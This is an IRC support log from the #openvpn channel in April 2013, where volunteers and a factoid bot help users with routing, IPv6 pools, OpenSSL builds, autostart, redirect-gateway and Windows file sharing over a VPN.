14:33 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-pxbqbhddwbvtawfj] has joined #openvpn
14:33 -!- lmm [uid6417@gateway/web/irccloud.com/x-jhexxdxpghhqrvkc] has joined #openvpn
14:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
14:39 < vaillor> krzee, are you here
14:39 -!- TomM_ [~quassel@unaffiliated/tommehm] has joined #openvpn
14:45 -!- Zoness [~Zoness@136.176.112.126] has quit [Remote host closed the connection]
14:54 -!- FRITZ|FRITZ [~rolandfri@50-197-24-73-static.hfc.comcastbusiness.net] has joined #openvpn
14:55 < FRITZ|FRITZ> hello i have openvpn client running on ubuntu server with a command line interface. I was wondering how I would have a script run automatically after establishing the connection
14:59 < pekster> FRITZ|FRITZ: Reference the manpage section under the heading "SCRIPTING AND ENVIRONMENTAL VARIABLES"
15:00 < FRITZ|FRITZ> do i edit the .conf file provided by my vpn provider?
15:00 < FRITZ|FRITZ> pekster you're everywhere lol
15:01 < rob0> if you want to change the config that the provider gave you, I suppose you'll edit it
15:03 < FRITZ|FRITZ> that wasn't a really clear question i guess but i mean is that the correct file to edit or is there a different .conf I should be editing for this purpose?
15:05 < pekster> I'd start by reading the "OPTIONS" section in the first part of the manpage. It tells you how you configure and control the OpenVPN process. Simply enough, it defines how you pass "options" to it
15:05 < rob0> Any given instance of openvpn only has one --config file. (Options in that file can be overridden on the command line, and some distro init scripts might do this.)
15:09 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 258 seconds]
15:27 < TheSov> 172.25.0.0      172.25.0.7      255.255.240.0   UG    0      0        0 tap0
15:27 < TheSov> 172.25.0.0      *               255.255.240.0   U     0      0        0 tap0
15:27 < TheSov>  when i connect via tap, i get both of these routes, the one with 172.25.0.7 is breaking things. any way i can prevent this?
15:28 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 258 seconds]
15:29 < pekster> TheSov: Looks
15:29 < pekster> Looks like a misconfiguration with a pushed route, or a local one done incorrectly
15:30 < pekster> With tap you never need to route the subnet via anything since it's already on-link as far as the interface is concerned
15:33 < TheSov> argh looks like its being pushed from the pfsense box
15:33 < TheSov> added a route-nopull
15:33 < TheSov> looks like its fine now
15:34 < pekster> Which is fine as long as you aren't getting routes pushed you want
15:34 < TheSov> thanks for your help!
15:34 < pekster> Yup. The correct solution is to fix your (misconfigured) server
15:34 < pekster> Ideally by not letting a GUI frontend manage it, assuming that's what you have now
15:34 < TheSov> unfortunately with pfsense, a tap is kind of a hack at the moment
15:34 < pekster> From what I've seen, the entire thing is a hack. IMO.
15:35 < TheSov> LOL
15:35 < TheSov> where else do you find a corporate level router out of the box for free
15:35 < pekster> Configure a *nix flavor of your choice and create a ready-made image to use across your corporate domain
15:36 < pekster> Or use some solution someone else has packaged that might do stupid things sometimes (like this.) Or, worse, pay lots of money to some commercial company that sells you pretty looking products
15:37 < pekster> "corporate level router" and "enterprise ready" are very silly terms. They make upper-level management feel good without actually telling you a lot about what the product really does
15:37 < pekster> /s/a lot/anything/
15:39 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
15:39 < rob0> indeed
15:39 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
15:43 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
15:43 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:44 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Quit: ZNC - http://znc.in]
15:47 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:13 -!- Orbi [~opera@46.246.33.71] has left #openvpn []
16:13 -!- Zoness [~Zoness@auskov-18.bradley.edu] has joined #openvpn
16:18 < jzaw> !ping
16:18 < jzaw> !ping
16:18 <@vpnHelper> pong
16:18 <@vpnHelper> pong
16:18 < rob0> !ding
16:19 < pekster> cat
16:19 < jzaw> just moving my ip route and addr stuff from upscripts to the conf
16:19 < jzaw> :)
16:19 < jzaw> pekster, out of interest
16:20 <@EugeneKay> dong?
16:20 < jzaw> what are ipv6 x::1-6 reserved for?
16:20 < jzaw> cant use them for pool
16:20 < pekster> You can if you define the pool yourself
16:20 < pekster> Otherwise they're usable for "whatever"
16:20 < rob0> !EugeneKay
16:20 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
16:20 < pekster> Maybe static IPs, maybe something else
16:21 < jzaw> Options error: --server-ipv6 already defines an ifconfig-ipv6-pool, so you can't also specify --ifconfig-pool explicitly
16:21 < rob0> What's brown, smells bad, and sounds like a bell?
16:21 < jzaw> so i omit server-ipv6 ... and use ifconfig-ipv6 ?
16:21 < jzaw> and then pool
16:21 < pekster> Right
16:21 < jzaw> ah good cool
16:21 < jzaw> ta
16:21 <@EugeneKay> rob0 on a leash?
16:21 < rob0> Dung!
16:21 < jzaw> rob0, whats brown and sticky
16:21 < pekster> Not that it really matters. Even with a /112 or so you can still get plenty of IPs
16:22 < jzaw> indeed pekster
16:22 < jzaw> just that prior to putting it in the conf i had server tap0 on x::1     and client tap0 on x::2
16:22 < jzaw> now suddenly its on ::1000 :)
16:26 < pekster> In IPv6 the specific IP you get isn't really that importnat anymore
16:26 < pekster> If you need to reference systems, you should do so by DNS, not IP. who wants to type out an IPv6 IP anyway?
16:27 < jzaw> sure
16:28 < jzaw> but x::2 is easier to recognise
16:28 < jzaw> not that x::1000 is much harder
16:28 < jzaw> :D
16:37 -!- kirin` [telex@gateway/shell/anapnea.net/x-vwjmsqsjubafluky] has quit [Quit: Lost terminal]
16:45 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:46 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
16:47 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
16:47 < Zoness> when compiling from tarball do I have to point openvpn to the location of openssl? ./configure does not recognize the ssl installation on the debian squeeze machine
16:50 < rob0> hmm, it could be that Debian does nonstandard stuff with paths ... not unusual for them.
16:51 < pekster> Have you installed the openssl libraries? You need more than just the openssl binary; often binary distros require seperate package installation for development libraries
16:52 < Zoness> I might not have the libraries, I'll investigate that first. I might try to do it all via apt before I compile from tarball. We'll see, sorting out the dependencies now.
16:54 < rob0> I'm looking at the Slackware openvpn.SlackBuild, nothing special to point to openssl
16:55 < Zoness> hmm, I added the openvpn repo to my sources list and now when I try to install it says there are unresolvable dependencies. Debian's repos have been a nightmare for this lately.
16:56 < pekster> That's not surprising if you're on squeeze given that the latest packages likely have conflicting package needs
16:56 < pekster> ie: you need libs so new that it'll break what the older squeeze world expects to find
16:57 < Zoness> that makes sense, do you have any suggestions?
16:57 < pekster> You can try building the newer libs and install them into your own PREFIX, mabye /usr/local/openvpn, then point your openvpn build there
16:58 < pekster> That way it won't wipe out the /usr/ tree debian expects to be using whatever outdated libraries they require
16:58 -!- jsevilleja [~paranoid@jsevilleja.org] has joined #openvpn
16:58 < jsevilleja> Hi
16:59 < Zoness> Ok, so just when I ./configure those libs I just run ./configure PREFIX=/dir correct?
16:59 < pekster> Yup. Then when you 'sudo make install' them they'll be rooted at $PREFIX as if that was the "root" they're being installed to
16:59 < jsevilleja> I've an openvpn server which redirects all the clients traffic to its eth0 interface
16:59 < pekster> So, if you use PREFIX=/usr/local/openvpn, you get /usr/local/openvpn/sbin/openvpn as your binary, for example
16:59 < Zoness> sure
16:59 < pekster> To "uninstall" you just "rm -rf /usr/local/openvpn" -- easy :)
17:00 < jsevilleja> client ( tun0 ) -> (tun0) server -> Internet
17:00 < Zoness> I will try doing that. Thanks!
17:00 < jsevilleja> however, I want that my server connects as a client of another openvpn server, and redirect all the traffic
17:00 < jsevilleja> client ( tun0 ) -> (tun0) server (tun1) -> (tunX) server2
17:01 < jsevilleja> I don't have the control of server2
17:01 < jsevilleja> is this configuration possible ?
17:01 < jsevilleja>  client ( tun0 ) -> (tun0) server (tun1) -> (tunX) server2 -> Internet, would be better
17:01 < pekster> jsevilleja: Possible, if the remote server you don't control is set up to forward and NAT already
17:01 < pekster> !redirect
17:01 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:01 <@vpnHelper> http://ircpimps.org/redirect.png
17:02 < pekster> The flowchart is your friend
17:02 < jsevilleja> pekster: If in my server I do ping -I tun1 8.8.8.8, it works
17:05 < jsevilleja> !def1
17:05 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:06 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
17:06 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
17:06 < Zoness> hmm it would appear that debian doesn't like me redefining the PREFIX in ./config -- this is more of a general linux question but is there a way to wipe out the object the config/make built?
17:07 < jsevilleja> I can't do the "redirect-gateway", since I don't control the remote server
17:07 <@EugeneKay> `make clean`
17:08 < Zoness> thanks! I don't know why that escaped me
17:08 < pekster> jsevilleja: Sure you can. That's a directive, and you can place it in your config file
17:08 < pekster> jsevilleja: Any directive that can be used with --push can be supplied on the other side as a native option. It has the same effect
17:08 < Zoness> hmm...still doesn't like the prefix
17:09 < pekster> "doesn't like" it? Maybe the dir needs to exist first?
17:09 < pekster> And it's ./configure, not ./config
17:10 < Zoness> oh, sorry I am working on OpenSSL before openvpn and its ./config for that
17:10 < Zoness> will check the dirs
17:10 < jsevilleja> the problem is, when I connect to the second vpn, the routes get modified
17:11 < jsevilleja> and I lose control of my services, like SSH
17:11 < jsevilleja> I can access them
17:11 < jsevilleja> but the response doesn't arrive to me
17:11 < jsevilleja> and thus, I can't connect
17:11 < pekster> Since you're redirecting your gateway, the reply traffic too is redirected. Set up policy routing if you want to redirect "some" but not "all" of your traffic. By design the --redirect-gateway option redirects *all* of your traffic
17:12 < pekster> The LARTC Howto (available online, search for it) is where you need to start if you want to pursue policy routing
17:13 < jsevilleja> that is what I wanted to know :)
17:13 < jsevilleja> thanks
17:19 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
17:19 -!- mirco [~mirco@p50806049.dip.t-dialin.net] has joined #openvpn
17:19 -!- mirco [~mirco@p50806049.dip.t-dialin.net] has quit [Client Quit]
17:19 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
17:20 -!- mirco [~mirco@p50806049.dip.t-dialin.net] has joined #openvpn
17:35 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
17:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:38 < jzaw> pekster, if i use server-ipv6    client end seems to take $prefix::1000
17:39 < jzaw> if i use ifconfig $prefix::1 $prefix::2
17:39 < jzaw> and ifconfig-ipv6-pool $prefix::1000/64
17:39 < jzaw> the other end doesnt get any ipv6 set at all
17:40 < jzaw> s/ifconfig/ifconfig-ipv6
17:41 < jzaw> the man file says the option server-ipv6  should take $prefix::1 locally and ::2 for the remote
17:41 < jzaw> or am i reading that wrong?
17:52 < jzaw> ahhh bingo ! ... tun-ipv6 AND push "tun-ipv6"    if im to not use server-ipv6 but set things up like pool manually
18:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:03 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
18:03 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has quit [Ping timeout: 240 seconds]
18:04 -!- ihptru_ [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
18:04 -!- ihptru_ is now known as ihptru
18:04 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
18:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:06 -!- [fred] [fred@konfuzi.us] has joined #openvpn
18:20 -!- mirco [~mirco@p50806049.dip.t-dialin.net] has quit [Quit: mirco]
18:20 -!- Martin` [martin@2001:16f8:2:10::215] has quit [Ping timeout: 245 seconds]
18:28 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
18:30 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:33 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
18:33 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
18:33 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
18:55 < Zoness> OpenSSL is still a thorn in my side, the apt-get installed version of openvpn didn't seem to work so I am working from tarball now with no luck, thanks to OpenSSL
19:04 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
19:06 < Zoness> Is there a flag to configure openvpn and point it to an ssl location?
19:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:08 < pekster> Zoness: That was my hint. See the varibles you get from ./configure --help. Specifically: OPENSSL_CRYPTO_LIBS and OPENSSL_SSL_LIBS
19:10 < pekster> How does your distro not provide a valid version? According to the INSTALL document, you need version 0.9.8 or higher. And honestly, using older versions of openssl exposes you to their security problems anyway, so I can't imagine any currently supported debian distro has massively unpatched holes floating around intentionally
19:11 < Zoness> No, OpenSSL is definitely installed. It's returning commands and can be found. I'll play with those variables, since the configure simply will not find the libs by default.
19:13 < Zoness> I will experiment a bit later, thanks for your help
19:13 -!- Zoness [~Zoness@auskov-18.bradley.edu] has quit [Quit: Bye!]
19:19 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
19:22 -!- me0615 [~me0615@122.2.46.76] has quit [Client Quit]
19:33 -!- raidz is now known as raidz_away
20:19 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:43 -!- Martin` [martin@shell.octocore.net] has joined #openvpn
20:56 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
21:06 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
21:30 < FRITZ|FRITZ> hello so i'm having an issue getting my openvpn client to automatically start and connect at boot. I understand that on ubuntu I could try and accomplish this with the built-in /etc/default/openvpn file. I have it set to autostart="all". I have also tried it autostart="nameofconf". I have also tried accomplishing this with upstart…. so far… nothing. And checking my /var/log/boot.log shows no errors either
21:32 < pekster> I think upstart can take the name of a conf to load, or with nothing passed it'll blindly start "all" .conf files in /etc/openvpn (maybe something in /etc/default adjusts that behaviour?) I don't usually spend much time fussing with upstart, so I don't recall offhand
21:36 < FRITZ|FRITZ> so i believe the default implementation of openvpn is to autostart the process and it looks to /etc/default/openvpn to load a specific .conf or all. I do not believe this is being implemented by upstart by default
21:37 < pekster> It's not an implementation of "openvpn" remember -- this is all distro-centric. OpenVPN's implementation is called directly by the 'openvpn' binary
21:37 < pekster> #ubuntu might be more helpful, or breaking open the script you're using. My *buntu systems are not convenient for me to launch at the moment
21:38 < FRITZ|FRITZ> i'll try thanks
21:39 < pekster> I've given you all the info I remember offhand, that upstart does, as I recall, have a way to start/control a specific named config, or all of them at once, via the CLI. I don't know much about the /etc/default/ settings though
21:39 -!- brute11k [~brute@89.249.235.136] has joined #openvpn
21:54 -!- brute11k [~brute@89.249.235.136] has quit [Quit: Leaving.]
21:56 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 255 seconds]
22:21 -!- jsevilleja [~paranoid@jsevilleja.org] has quit [Quit: Konversation terminated!]
23:12 -!- FRITZ|FRITZ [~rolandfri@50-197-24-73-static.hfc.comcastbusiness.net] has quit [Quit: FRITZ|FRITZ]
23:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
23:14 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
23:14 -!- digilink_ [~digilink@70.90.228.197] has joined #openvpn
23:15 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
23:15 -!- mode/#openvpn [+o krzie] by ChanServ
23:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
23:16 -!- mode/#openvpn [+o vpnHelper] by ChanServ
23:16 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 258 seconds]
23:16 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 258 seconds]
23:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds]
23:16 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 258 seconds]
23:16 -!- riot [~riot@eris.hackerfleet.org] has quit [Ping timeout: 258 seconds]
23:16 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has quit [Ping timeout: 258 seconds]
23:16 -!- krzie is now known as krzee
23:16 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 258 seconds]
23:16 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 258 seconds]
23:17 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
23:17 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
23:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
23:17 -!- C_S_B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
23:17 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
23:17 -!- riot [~riot@eris.hackerfleet.org] has joined #openvpn
23:19 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
23:19 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
--- Day changed Thu Apr 04 2013
00:06 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
00:18 -!- Zoness [~Zoness@136.176.112.126] has joined #openvpn
00:32 -!- soapee01_ [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
00:34 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
00:35 -!- newbie|3 [~tjz@67.228.240.1-static.reverse.softlayer.com] has joined #openvpn
00:36 -!- lbft__ [~lbft@199.195.249.177] has joined #openvpn
00:36 -!- newbie|4 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
00:38 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
00:38 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 276 seconds]
00:38 -!- JackWinter1 [~jack@vodsl-9778.vo.lu] has quit [Ping timeout: 276 seconds]
00:38 -!- lbft [~lbft@199.195.249.177] has quit [Quit: Bye]
00:40 -!- newbie|3 [~tjz@67.228.240.1-static.reverse.softlayer.com] has quit [Ping timeout: 264 seconds]
00:48 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 240 seconds]
01:05 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds]
01:07 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
01:33 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 240 seconds]
01:35 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
01:35 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:35 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:35 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:51 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
01:53 -!- lbft__ is now known as lbft
02:02 -!- mirco [~mirco@p5080611C.dip.t-dialin.net] has joined #openvpn
02:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:06 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
02:15 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
02:21 -!- tejeskifly [~user@5401CEAE.dsl.pool.telekom.hu] has joined #openvpn
02:22 < tejeskifly> hi!
02:22 < tejeskifly> i have a question :)
02:22 < tejeskifly> finaly i can figoure out, i can set the network type in win 7
02:23 -!- mirco [~mirco@p5080611C.dip.t-dialin.net] has quit [Quit: mirco]
02:23 < tejeskifly> pust "route-getway 0.0.0.0 0.0.0.0"
02:23 < tejeskifly> push "route-metric 512"
02:23 < tejeskifly> i write this settings in server config file
02:24 < tejeskifly> so no i hawe home network, but i still don't can see network shares
02:24 < tejeskifly> and printers
02:24 < tejeskifly> need i open ports or what need i do?
02:30 < tejeskifly> push "route 0.0.0.0 0.0.0.0" instend pust "route-getway 0.0.0.0 0.0.0.0"
02:37 < Dropje> tejeskifly: !goal
02:37 < Dropje> !goal
02:37 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
02:42 < tejeskifly> !goal
02:42 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
02:43 < tejeskifly> !goal i want to acces to network shares, and printers trought openvpn
02:54 < Dropje> tejeskifly: have you read up on openvpn? there is a very good !howto.. this seems like a basic setup which the howto will provide
02:54 < Dropje> !howto
02:54 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
03:03 -!- dazo_afk is now known as dazo
03:05 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
03:06 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:13 < tejeskifly> i find it, i need bridging "you would like to allow browsing of Windows file shares across the VPN without setting up a Samba or WINS server"
03:14 < tejeskifly> but i need bridging on server, or on client?
03:15 < tejeskifly> or i need too do on server and client side too?
03:17 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
03:19 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:21 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Client Quit]
03:22 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:27 < Dropje> tejeskifly: you don't actually need briding, thats just for broadcasts.. you should be able to connect to your shares directly
03:27 < Dropje> !shares
03:27 < Dropje> !factoids search shares
03:27 <@vpnHelper> No keys matched that query.
03:28 < Dropje> !factoids search wins
03:28 <@vpnHelper> 'wins', 'winscript', 'winsudo', and 'winshortcut'
03:28 < Dropje> !factoids search samba
03:28 <@vpnHelper> "samba" is (#1) http://openvpn.net/faq#samba-routing for using samba with a routed tun, or use NETBIOS with a bridge or (#2) http://www.openvpn.net/howto#samba if you run samba on linux and use tun mode
03:28 < Dropje> !wins
03:28 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
03:28 < tejeskifly> i want
03:29 < tejeskifly> connect 2 or 3 client, wich have network shares
03:29 < tejeskifly> and have shared printers
03:29 < tejeskifly>  want reach these shares and printers from different location
03:30 < tejeskifly> i don't can use the default windows shares?
03:31 < Dropje> you have clients with network shares or there is a !serverlan with network shares and printers you want to access?
03:31 < tejeskifly> in howto, under "Determining whether to use a routed or bridged VPN" i find i need bridging if i want
03:31 < tejeskifly> clients have shares
03:31 < Dropje> tejeskifly: then you can't use bridging
03:32 <@krzee> !tunortap
03:32 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
03:32 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
03:32 <@krzee> !whybridge
03:32 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
03:32 < Dropje> krzee: thnx ;)
03:33 <@krzee> np
03:33 < Dropje> all these factoids...
03:33 <@krzee> and btw, the only part of windows filesharing that cares about layer2 is netbios name resolution
03:33 <@krzee> over tun connecting by ip it just works
03:33 < Dropje> krzee: which WINS can also provide
03:34 < Dropje> idd
03:34 <@krzee> right, or wins provides it over ip
03:34 < Dropje> it's confusing to say: if you want to access shares use bridging.. so many peoply interpret it the wrong way
03:34 <@krzee> i feel like bridging should only be used when it has to
03:34 < Dropje> krzee: exactly
03:35 < Dropje> who wants to open up possibilities for MITM through VPN
03:38 < Dropje> so tejeskifly in your case, if you want to push subnets from clients you'll have to use the iroute function provided by OpenVPN.. You can not use a bridged setup for that
03:38 < Dropje> !iroute
03:38 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
03:40 < tejeskifly> hmm
03:40 < tejeskifly> so what need i do? :D
03:41 < tejeskifly> sorry but i don't understand everything, im a noob...
03:42 < tejeskifly> i need use iroute function? This is server or client side:
03:42 < tejeskifly> ?
03:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:42 < vaillor> krzee, to make openvpn connect redirect all the iphone traffic i only need to add "redirect-gateway def1" to the client config?
03:42 < Dropje> tejeskifly: setup openvpn as provided by !howto
03:42 <@krzee> false
03:42 <@krzee> !redirect
03:42 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:42 <@vpnHelper> http://ircpimps.org/redirect.png
03:43 <@krzee> all that config option does is add routes to the client
03:43 < Dropje> tejeskifly: *read* the howto, do *not* skim it
03:43 < vaillor> krzee, http://openvpn.net/index.php/open-source/documentation/howto.html
03:43 <@krzee> if the server doesn't NAT it (and allow it to happen) then the route change leads to no internet
03:43 <@vpnHelper> Title: HOWTO (at openvpn.net)
03:43 <@krzee> you just link me to the how to?
03:43 < vaillor> Implementation
03:43 < vaillor> Add the following directive to the server configuration file:
03:43 < vaillor>     push "redirect-gateway def1"
03:44 <@krzee> yes, and then how will your vpn ip route to the world?
03:44 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
03:44 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
03:44 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
03:44 < vaillor> krzee, i'm talking only about client side
03:44 < vaillor> after this, i will start to configure server side
03:44 <@krzee> hah
03:44 < Dropje> vaillor: do it the other way around ;0
03:45 < Dropje> you'll find out what needs to be done client side if you configure server side, not the other way around
03:45 <@krzee> vaillor, stop pinging me for your questions
03:45 <@krzee> just ask them
03:45 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:45 <@krzee> I'm not the only one here, and i do other things too =]
03:45 < Dropje> krzee: so untrue :)
03:45 <@krzee> i know huh
03:45 <@krzee> :D
03:45 < Dropje> haha
03:46 < vaillor> krzee, i'm asking you because you are the only one that uses openvpn connect on your ipod
03:46 <@krzee> but I'm not
03:46 < vaillor> so only you can help me
03:46 < Dropje> vaillor: i do too
03:46 <@krzee> and thats also not true
03:46 <@krzee> you need to just get ANY machine working
03:46 < Dropje> even with a ldap account
03:46 <@krzee> NOT your ipod
03:46 <@krzee> *THEN* you can worry about your ipod
03:46 <@krzee> (i told you this before)
03:47 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
03:47 -!- mirco_ is now known as mirco
03:47 < vaillor> for example on general settings about openvpn connect i can set "timeout"
03:47 <@krzee> and btw iPod / iPhone blows :D
03:47 < vaillor> this works also for .ovpn configuration?
03:47 < vaillor> or is only for access server'
03:47 < Dropje> krzee: thats a bold statement!
03:47 < vaillor> ?
03:47 <@krzee> Dropje, you can quote it!
03:48 < Dropje> krzee: i'm a fanboy, you better watch it !:)
03:48 <@krzee> hah
03:48 < Dropje> working on a macbook pro and iphone 5!
